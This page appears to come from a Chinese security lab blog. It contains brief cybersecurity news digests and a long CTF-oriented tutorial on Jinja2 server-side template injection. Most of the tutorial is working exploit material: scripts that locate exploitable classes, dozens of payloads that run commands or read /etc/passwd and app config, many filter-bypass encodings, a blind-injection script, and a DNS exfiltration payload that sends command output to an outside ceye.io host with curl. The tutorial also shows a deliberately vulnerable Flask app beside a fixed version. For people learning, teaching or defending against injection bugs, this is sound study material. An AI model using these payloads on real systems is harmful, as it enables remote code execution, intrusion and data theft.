网络安全日报 2020年12月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、黑客使用移动设备仿真器攻击银行窃取了数百万美元 https://securityaffairs.co/wordpress/112487/cyber-crime/massive-fraud-operation.html 2、SolarWinds供应链攻击曾入侵美国国家核安全局核机构 https://securityaffairs.co/wordpress/112469/hacking/nnsa-nuclear-agency-hacked.html 3、黑客针对COVID-19疫苗供应链并在Darkweb中出售疫苗 https://securityaffairs.co/wordpress/112433/hacking/covid-19-attacks-2.html 4、微软确认遭SolarWinds供应链攻击但否认其客户受到影响 https://securityaffairs.co/wordpress/112416/hacking/microsoft-breached-solarwinds-hack.html 5、CoderWare勒索软件伪装成《Cyberpunk 2077》进行传播 https://securityaffairs.co/wordpress/112412/malware/fake-cyberpunk-2077-spreads-ransomware.html 6、Bouncy Castle加密库修补了身份验证绕过漏洞 https://www.securityweek.com/authentication-bypass-vulnerability-patched-bouncy-castle-library 7、英国能源供应商People's Energy披露数据泄露 https://www.securityweek.com/uk-energy-startup-peoples-energy-discloses-data-breach 8、Joker's Stash少量服务器被FBI和国际刑警组织控制 https://www.zdnet.com/article/fbi-interpol-disrupt-jokers-stash-the-internets-largest-carding-marketplace/ 9、Pay2Key勒索软件与伊朗APT组织Fox Kitten有关 https://www.bleepingcomputer.com/news/security/iranian-nation-state-hackers-linked-to-pay2key-ransomware/ 10、Magecart组织恶意软件泄露被黑客攻击的商店列表 https://www.bleepingcomputer.com/news/security/stealthy-magecart-malware-mistakenly-leaks-list-of-hacked-stores/
网络安全日报 2020年12月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、DoppelPaymer勒索软件针对关键基础设施 https://www.securityweek.com/fbi-warns-doppelpaymer-ransomware-targeting-critical-infrastructure 2、趋势科技更新补丁修复IWSA产品中的严重漏洞 https://www.securityweek.com/trend-micro-patches-serious-flaws-product-used-companies-governments 3、GitHub将在明年禁止基于密码的Git操作身份验证 https://www.theregister.com/2020/12/17/github_bans_passwords/ 4、新证据表明SolarWinds的代码库被黑客注入了后门程序 https://thehackernews.com/2020/12/new-evidence-suggests-solarwinds.html 5、Contact Form 7 WordPress插件漏洞影响超500W个网站 https://securityaffairs.co/wordpress/112407/hacking/contact-form-7-flaw.html 6、研究人员发现了针对Instagram,Facebook等的浏览器恶意扩展 https://securityaffairs.co/wordpress/112393/malware/browser-malicious-extensions.html 7、一种利用IRS表单的网络钓鱼针对Google G Suite用户 https://www.darkreading.com/attacks-breaches/new-irs-form-fraud-campaign-targets-g-suite-users/d/d-id/1339743 8、Ryuk和Egregor勒索软件攻击利用SystemBC后门 https://threatpost.com/ryuk-egregor-ransomware-systembc-backdoor/162333/ 9、Verifone和Ingenico POS设备制造商发布漏洞补丁 https://www.inforisktoday.com/pos-device-makers-push-patches-for-vulnerabilities-a-15598 10、RubyGems仓库删除了两个恶意软件包 https://www.securityweek.com/two-malware-laced-gems-found-rubygems-repository
细说Jinja2之SSTI&bypass
前言 SSTI(Server-Side Template Injection)服务端模板注入在CTF中并不是一个新颖的考点了,之前略微学习过,但是最近的大小比赛比如说安洵杯,祥云杯,太湖杯,南邮CTF,上海大学生安全竞赛等等比赛都频频出现,而且赛后看到师傅们各种眼花缭乱的payload,无法知晓其中的原理,促使我写了这篇文章来总结各种bypass SSTI的方法。 基础知识 本篇文章从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎 模板的基本语法 官方文档对于模板的语法介绍如下 {% ... %} for Statements {{ ... }} for Expressions to print to the template output {# ... #} for Comments not included in the template output # ... ## for Line Statements 这里我们逐条来看 {%%} 主要用来声明变量,也可以用于条件语句和循环语句。 {% set c= 'kawhi' %} {% if 81==9*9 %}kawhi{% endif %} {% for i in ['1','2','3'] %}kawhi{%endfor%} {{}} 用于将表达式打印到模板输出,比如我们一般在里面输入2-1,2*2,或者是字符串,调用对象的方法,都会渲染出结果 {{2-1}} #输出1 {{2*2}} #输出4 我们通常会用{{2*2}}简单测试页面是否存在SSTI {##} 表示未包含在模板输出中的注释 ## 有和{%%}相同的效果 这里的模板注入主要用到的是{{}}和{%%} 常见的魔术方法 __class__ 用于返回对象所属的类 Python 3.7.8 >>> ''.__class__ <class 'str'> >>> ().__class__ <class 'tuple'> >>> [].__class__ <class 'list'> __base__ 以字符串的形式返回一个类所继承的类 __bases__ 以元组的形式返回一个类所继承的类 __mro__ 返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类 Python 3.7.8 >>> class Father(): ... def __init__(self): ... pass ... >>> class GrandFather(): ... def __init__(self): ... pass ... >>> class son(Father,GrandFather): ... pass ... >>> print(son.__base__) <class '__main__.Father'> >>> print(son.__bases__) (<class '__main__.Father'>, <class '__main__. __subclasses__() 获取类的所有子类 __init__ 所有自带带类都包含init方法,常用他当跳板来调用globals __globals__ 会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用 漏洞成因与防御 存在模板注入漏洞原因有二,一是存在用户输入变量可控,二是了使用不固定的模板,这里简单给出一个存在SSTI的代码如下 ssti.py from flask import Flask,request,render_template_string app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): name = request.args.get('name') template = ''' <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, %s !</h3> </body> </html> '''% (name) return render_template_s 我们简单输入一个{{2-1}},返回了1,说明存在模板注入 而如果存在SSTI的话,我们就可以利用上面的魔术方法去构造可以读文件或者直接getshell的漏洞 如何拒绝这种漏洞呢,其实很简单只需要使用固定的模板即可,正确的代码应该如下 ssti2.py from flask import Flask,request,render_template app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): return render_template("index.html",name=request.args.get('name')) if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=True) index.html <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, {{name}} !</h3> </body> </html> 可以看到原封不动的输出了{{2-1}} 构造链思路 这里从零开始介绍如何去构造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py做实验 第一步 目的:使用__class__来获取内置类所对应的类 可以通过使用str,list,tuple,dict等来获取 Python 3.7.8 >>> ''.__class__ <class 'str'> >>> "".__class__ <class 'str'> >>> [].__class__ <class 'list'> >>> ().__class__ <class 'tuple'> >>> {}.__class__ <class 'dict'> 第二步 目的:拿到object基类 用__bases__[0]拿到基类 Python 3.7.8 >>> ''.__class__.__bases__[0] <class 'object'> 用__base__拿到基类 Python 3.7.8 >>> ''.__class__.__base__ <class 'object'> 用__mro__[1]或者__mro__[-1]拿到基类 Python 3.7.8 >>> ''.__class__.__mro__[1] <class 'object'> >>> ''.__class__.__mro__[-1] <class 'object'> 第三步 用__subclasses__()拿到子类列表 Python 3.7.8 >>> ''.__class__.__bases__[0].__subclasses__() ...一大堆的子类 第四步 在子类列表中找到可以getshell的类 寻找利用类 在上述的第四步中,如何快速的寻找利用类呢 利用脚本跑索引 我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类 这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子 find.py search = 'popen' num = -1 for i in ().__class__.__bases__[0].__subclasses__(): num += 1 try: if search in i.__init__.__globals__.keys(): print(i, num) except: pass 我们运行这个脚本 λ python3 find.py <class 'os._wrap_close'> 128 可以发现object基类的第128个子类名为os._wrap_close的这个类有popen方法 先调用它的__init__方法进行初始化类 Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__ <function _wrap_close.__init__ at 0x000001FCD0B21E58> 再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值 Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__ {'__name__': 'os'...中间省略...<class 'os.PathLike'>} 然后就可以调用其中的popen来执行命令 Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() 'desktop-t6u2ptl\\think\n' 但是上面的方法仅限于在本地寻找,因为在做CTF题目的时候,我们无法在题目环境中运行这个find.py,这里用hhhm师傅的一个脚本直接去寻找子类 我们首先把所有的子类列举出来 Python 3.7.8 >>> ().__class__.__bases__[0].__subclasses__() ...一大堆的子类 然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close这个类 find2.py import json a = """ <class 'type'>,...,<class 'subprocess.Popen'> """ num = 0 allList = [] result = "" for i in a: if i == ">": result += i allList.append(result) result = "" elif i == "\n" or i == ",": continue else: result += i for k,v in enumerate(allList): if "os._wrap_close" in v: print(str(k)+ 又或者用如下的requests脚本去跑 find3.py import requests import time import html for i in range(0,300): time.sleep(0.06) payload="{{().__class__.__mro__[-1].__subclasses__()[%s]}}" % i url='http://ip:5000?name=' r = requests.post(url+payload) if "catch_warnings" in r.text: print(r.text) print(i) break tips:后面的各种方法都是利用这种思路寻找到可以getshell类的位置 python3的方法 os._wrap_close类中的popen 在上面的例子中就是用的这个方法,payload如下 {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} __import__中的os 把上面find.py脚本中的search变量换成__import__ λ python3 find.py <class '_frozen_importlib._ModuleLock'> 75 <class '_frozen_importlib._DummyModuleLock'> 76 <class '_frozen_importlib._ModuleLockManager'> 77 <class '_frozen_importlib._installed_safely'> 78 <class '_frozen_importlib.ModuleSpec'> 79 可以看到有5个类下是包含__import__的,随便用一个即可 payload如下 {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} python2的方法 因为python3和python2两个版本下有差别,这里把python2单独拿出来说 tips:python2的string类型不直接从属于属于基类,所以要用两次 __bases__[0] Python 2.7.10 >>> ''.__class__.__bases__[0] <type 'basestring'> >>> ''.__class__.__bases__[0].__bases__[0] <type 'object'> file类读写文件 本方法只能适用于python2,因为在python3中file类已经被移除了 >>> [].__class__.__bases__[0].__subclasses__()[40] <type 'file'> 可以使用dir查看file对象中的内置方法 >>> dir(().__class__.__bases__[0].__subclasses__()[40]) ['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook 然后直接调用里面的方法即可,payload如下 读文件 {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}} warnings类中的linecache 本方法只能用于python2,因为在python3中会报错'function object' has no attribute 'func_globals',猜测应该是python3中func_globals被移除了还是啥的,如果不对请师傅们指出 我们把上面的find.py脚本中的search变量赋值为linecache,去寻找含有linecache的类 λ python find.py (<class 'warnings.WarningMessage'>, 59) (<class 'warnings.catch_warnings'>, 60) 后面如法炮制,payload如下 {{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}} python2&3的方法 这里介绍python2和python3两个版本通用的方法 __builtins__代码执行 这种方法是比较常用的,因为他两种python版本都适用 首先__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__builtins__这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)来查看调用方法的列表,然后可以发现__builtins__下有eval,__import__等的函数,因此可以利用此来执行命令。 把上面find.py脚本search变量赋值为__builtins__,然后找到第140个类warnings.catch_warnings含有他,而且这里的话比较多的类都含有__builtins__,比如常用的还有email.header._ValueFormatter等等,这也可能是为什么这种方法比较多人用的原因之一吧 再调用eval等函数和方法即可,payload如下 {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} {{().__class__.__bases__[0 又或者用如下两种方式,用模板来跑循环 {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} 读取文件payload {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} 然后这里再提一个比较少人提到的点 warnings.catch_warnings类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,也就是说如果可以找到warnings.catch_warnings类,则可以不使用globals,payload如下 {{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}} 总而言之,原理都是先找到含有__builtins__的类,然后再进一步利用 subprocess.Popen进行RCE 我们可以用find2.py寻找subprocess.Popen这个类,可以直接RCE,payload如下 {{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}} 直接利用os 一开始我以为这种方法只能用于python2,因为我在本地实验的时候python3中无法找到直接含有os的类,但后来发现python3其实也是能够用的,主要是环境里面有这个那个类才行 我们把上面的find.py脚本中的search变量赋值为os,去寻找含有os的类 λ python find.py (<class 'site._Printer'>, 69) (<class 'site.Quitter'>, 74) 后面如法炮制,payload如下 {{().__class__.__base__.__subclasses__()[69].__init__.__globals__['os'].popen('whoami').read()}} 获取配置信息 我们有时候可以使用flask的内置函数比如说url_for,get_flashed_messages,甚至是内置的对象request来查询配置信息或者是构造payload config 我们通常会用{{config}}查询配置信息,如果题目有设置类似app.config ['FLAG'] = os.environ.pop('FLAG'),就可以直接访问{{config['FLAG']}}或者{{config.FLAG}}获得flag request jinja2中存在对象request Python 3.7.8 >>> from flask import Flask,request,render_template_string >>> request.__class__.__mro__[1] <class 'object'> 查询一些配置信息 {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}} 构造ssti的payload {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} {{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}} url_for 查询配置信息 {{url_for.__globals__['current_app'].config}} 构造ssti的payload {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} get_flashed_messages 查询配置信息 {{get_flashed_messages.__globals__['current_app'].config}} 构造ssti的payload {{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}} 绕过黑名单 CTF中一般考的就是怎么绕过SSTI,我们学会如何去构造payload之后,还要学习如何去绕过一些过滤,然后下面由于环境的不同,payload中类的位置也是就那个数字可能会和文章中不一样,需要自己动手测一下 过滤了点 过滤了. 在python中,可用以下表示法可用于访问对象的属性 {{().__class__}} {{()["__class__"]}} {{()|attr("__class__")}} {{getattr('',"__class__")}} 也就是说我们可以通过[],attr(),getattr()来绕过点 使用[]绕过 使用访问字典的方式来访问函数或者类等,下面两行是等价的 {{().__class__}} {{()['__class__']}} 以此,我们可以构造payload如下 {{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}} 使用attr()绕过 使用原生JinJa2的函数attr(),以下两行是等价的 {{().__class__}} {{()|attr('__class__')}} 以此,我们可以构造payload如下 {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} 使用getattr()绕过 这种方法有时候由于环境问题不一定可行,会报错'getattr' is undefined,所以优先使用以上两种 Python 3.7.8 >>> ().__class__ <class 'tuple'> >>> getattr((),"__class__") <class 'tuple'> 过滤引号 过滤了'和" request绕过 flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过 request.args.name request.cookies.name request.headers.name request.values.name request.form.name payload如下 GET方式,利用request.args传递参数 {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd POST方式,利用request.values传递参数 {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} post:arg1=open&arg2=/etc/passwd Cookie方式,利用request.cookies传递参数 {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} Cookie:arg1=open;arg2=/etc/passwd 剩下两种方法也差不多,这里就不赘述了 chr绕过 {{().__class__.__base__.__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}} 这里先爆破subclasses,获取subclasses中含有chr的类索引 然后就可以用chr来绕过传参时所需要的引号,然后需要用chr来构造需要的字符 这里我写了个脚本可以快速构造想要的ascii字符 <?php $a = 'whoami'; $result = ''; for($i=0;$i<strlen($a);$i++) { $result .= 'chr('.ord($a[$i]).')%2b'; } echo substr($result,0,-3); ?> //chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105) 最后payload如下 {% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}} 过滤下划线 过滤了_ 编码绕过 使用十六进制编码绕过,_编码后为\x5f,.编码后为\x2E payload如下 {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}} 这里甚至可以全十六进制绕过,顺便把关键字也一起绕过,这里先给出个python脚本方便转换 string1="__class__" string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" def tohex(string): result = "" for i in range(len(string)): result=result+"\\x"+hex(ord(string[i]))[2:] print(result) tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f print(string2) #__class__ 随便构造个payload如下 {{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d request绕过 在上面的过滤引号已经介绍过了,这里不再赘述 过滤关键字 首先要看关键字是如何被过滤的 如果是替换为空,可以尝试双写绕过,或者使用黑名单逻辑漏洞错误绕过,即使用黑名单最后一个关键字替换绕过 如果直接ban了,就可以使用字符串拼接的方式等方法进行绕过,常用方法如下 拼接字符绕过 这里以过滤class为例子,用中括号括起来然后里面用引号连接,可以用+号或者不用 {{()['__cla'+'ss__'].__bases__[0]}} {{()['__cla''ss__'].__bases__[0]}} 随便写个payload如下 {{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}} 或者可以使用join来进行拼接 {{()|attr(["_"*2,"cla","ss","_"*2]|join)}} 看到有师傅甚至用管道符加上format方法来拼接的骚操作,也就是我们平时说的格式化字符串,其中的%s被l替换 {{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l 使用使用str原生函数 replace绕过,payload如下 {{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}} decode绕过,但这种方法经过测试只能在python2下使用,payload如下 {{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}} 替代的方法 过滤init,可以用__enter__或__exit__替代 {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}} 过滤config,我们通常会用{{config}}获取当前设置,如果被过滤了可以使用以下的payload绕过 {{self}} ⇒ <TemplateReference None> {{self.__dict__._TemplateReference__context}} 过滤中括号 过滤了[和] 数字中的中括号 在python里面可以使用以下方法访问数组元素 Python 3.7.8 >>> ["a","kawhi","c"][1] 'kawhi' >>> ["a","kawhi","c"].pop(1) 'kawhi' >>> ["a","kawhi","c"].__getitem__(1) 'kawhi' 也就是说可以使用__getitem__和pop替代中括号,取列表的第n位 payload如下 {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} {{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}} 魔术方法的中括号 调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号 可用__getattribute__绕过 {{"".__getattribute__("__cla"+"ss__").__base__}} 或者可以配合request一起使用 {{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__ payload如下 {{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami 这种同样是绕过关键字的方法之一 过滤双大括号 过滤了{{和}} 使用dns外带数据 用{%%}替代了{{}},使用判断语句进行dns外带数据 {% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %} 然后在ceye平台接收数据即可 盲注 如果上面的方法不行的话,可以考虑使用盲注的方式,这里附上p0师傅的脚本 # -*- coding: utf-8 -*- import requests url = 'http://ip:5000/?name=' def check(payload): r = requests.get(url+payload).content return 'kawhi' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' for i in xrange(0,100): for c in print标记 我们上面之所以要dnslog外带数据以及使用盲注,是因为用{%%}会没有回显,这里的话可以使用print来做一个标记使得他有回显,比如{%print config%},payload如下 {%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%} payload进阶与拓展 这里我基于上面绕过黑名单各种方法的组合,对CTF中用到的一些方法和payload再做一个小的总结,不过其实一般来说,只要不是太偏太绕的题,上面的方法自行组合一下都够用了,下面只是作为一个拓展 过滤_和.和' 这里顺便给一个不常见的方法,主要是找到_frozen_importlib_external.FileLoader的get_data()方法,第一个是参数0,第二个为要读取的文件名,payload如下 {{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}} 使用十六进制绕过后,payload如下 {{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}} 过滤args和.和_ 之前安恒二月赛在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()绕过点,values绕过args,payload如下 {{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8']) 导入主函数读取变量 有一些题目我们不并需要去getshell,比如flag直接暴露在变量里面了,像如下这样把/flag文件加载到flag这个变量里面了 f = open('/flag','r') flag = f.read() 我们就可以通过import是导入__main__主函数去读变量,payload如下 {%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %} Unicode绕过 这种方法是从https://xz.aliyun.com/t/8581#toc-4学到的,我们直奔主题看payload {%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%} 这里的print绕过{{}}和attr绕过.上面已经说过了这里不赘述 然后这里的lipsum用{{lipsum}}测了一下发现是个方法 <function generate_lorem_ipsum at 0x7fcddfa296a8> 然后用他直接调用__globals__发现可以直接执行os命令,测了一下发现__builtins__也可以用,又学到了一种新方法,只能说师傅们tql {{lipsum.__globals__['os'].popen('whoami').read()}} {{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} 回到正题,这里使用了Unicode编码绕过关键字,下面两行是等价的 {{()|attr("__class__")}} {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}} 知道了这两点之后,那个官方给的payload就很明朗了,解开编码后如下 {%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%} 然后我这里顺便给个Unicode互转的php脚本 <?php //字符串转Unicode编码 function unicode_encode($strLong) { $strArr = preg_split('/(?<!^)(?!$)/u', $strLong);//拆分字符串为数组(含中文字符) $resUnicode = ''; foreach ($strArr as $str) { $bin_str = ''; $arr = is_array($str) ? $str : str_split($str);//获取字符内部数组表示,此时$arr应类似array(228, 189, 160) foreach ($arr as $value) 魔改字符 这种方法是在太湖杯easyWeb这道题目学到的,上面所说的过滤双大括号,在一些特定的题目可以魔改{{}},比如说这道题由于有个字符规范器可以把我们输入的文本标准化,所以可以使用这种方法 可以在Unicode字符网站寻找绕过的字符,直接在网址搜索{,就会出现类似的字符,就可以找到︷和︸了,网址:https://www.compart.com/en/unicode/U+FE38 payload如下 ︷︷config︸︸ %EF%B8%B7%EF%B8%B7config%EF%B8%B8%EF%B8%B8 还可以使用中文的字符魔改 { &#65371; } &#65373; [ &#65339; ] &#65341; ' &#65287; " &#65282; payload如下 {{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} 总结 因为水平和文章篇幅有限,可能还有一些bypass方法没有提到,还有就是CTF中也不只考Jinja2这种模板,还有另外的Twig模板,smart等模板,这些就等以后有必要再更吧,最后就是有不足之处请各位师傅指出 相关实验:https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID87ed-2223-40e5-8083-f5c55d69af28  (通过该实验了解服务端模板注入漏洞的危害与利用。) 参考连接 https://p0sec.net/index.php/archives/120/https://www.jianshu.com/p/a736e39c3510https://www.redmango.top/article/43https://xz.aliyun.com/t/8029https://xz.aliyun.com/t/7746
网络安全日报 2020年12月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、iOS间谍软件长期存在于勒索活动中 https://www.securityweek.com/ios-spyware-emerges-longstanding-extortion-campaign 2、微软,FireEye和GoDaddy合作接管SolarWinds攻击所用域名 https://securityaffairs.co/wordpress/112376/apt/solarwinds-backdoor-kill-switch.html 3、HPE披露了Systems Insight Manager中的零日漏洞 https://securityaffairs.co/wordpress/112370/security/hpe-flaw-systems-insight-manager.html 4、研究人员发现名为Goontact的间谍软件可同时监视Android和iOS用户 https://securityaffairs.co/wordpress/112351/malware/goontact-spyware-android-ios.html 5、SolarWinds发布了Orion平台漏洞修补程序 https://thehackernews.com/2020/12/solarwinds-issues-second-hotfix-for_15.html 6、研究报告5G网络存严重漏洞可跟踪用户位置和窃取数据 https://thehackernews.com/2020/12/new-5g-network-flaws-let-attackers.html 7、CybelAngel分析团队发现在线暴露的超4500万张医学图像和相关信息 https://threatpost.com/million-medical-images-online/162284/ 8、Bronze Bit Attack 可绕过Kerberos 认证 https://cyware.com/news/the-bronze-bit-attack-can-bypass-kerberos-protocol-7853a276 9、以色列公司Cellebrite可以入侵Signal https://www.haaretz.com/israel-news/tech-news/.premium-israeli-spy-tech-firm-says-it-can-break-into-signal-app-previously-considered-safe-1.9368581 10、Zebrocy恶意软件新变体使用Golang编码和VHD文件躲避安全软件 https://cyware.com/news/zebrocys-evolution-with-golang-based-version-enjoys-low-detection-d5033888
网络安全日报 2020年12月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Gitpaste-12僵尸网络针对Linux服务器和物联网设备 https://thehackernews.com/2020/12/wormable-gitpaste-12-botnet-returns-to.html 2、研究人员发现了一种通过Wi-Fi信号频段进行窃取数据的侧信道攻击-AIR-FI攻击 https://thehackernews.com/2020/12/exfiltrating-data-from-air-gapped.html 3、专家发现了一个新的Windows信息窃取软件PyMICROPSIA https://securityaffairs.co/wordpress/112335/apt/pymicropsia-malware.html 4、Medtronic MyCareLink存在漏洞可使攻击者控制植入的心脏设备 https://securityaffairs.co/wordpress/112328/hacking/medtronic-mycarelink-flaws.html 5、攻击者利用SolarWinds 攻击绕过MFA访问美国智库的电子邮件 https://www.securityweek.com/group-behind-solarwinds-hack-bypassed-mfa-access-emails-us-think-tank 6、数百万的工业设备受Urgent / 11漏洞和CDPwn漏洞影响 https://www.securityweek.com/vast-majority-ot-devices-affected-urgent11-vulnerabilities-still-unpatched 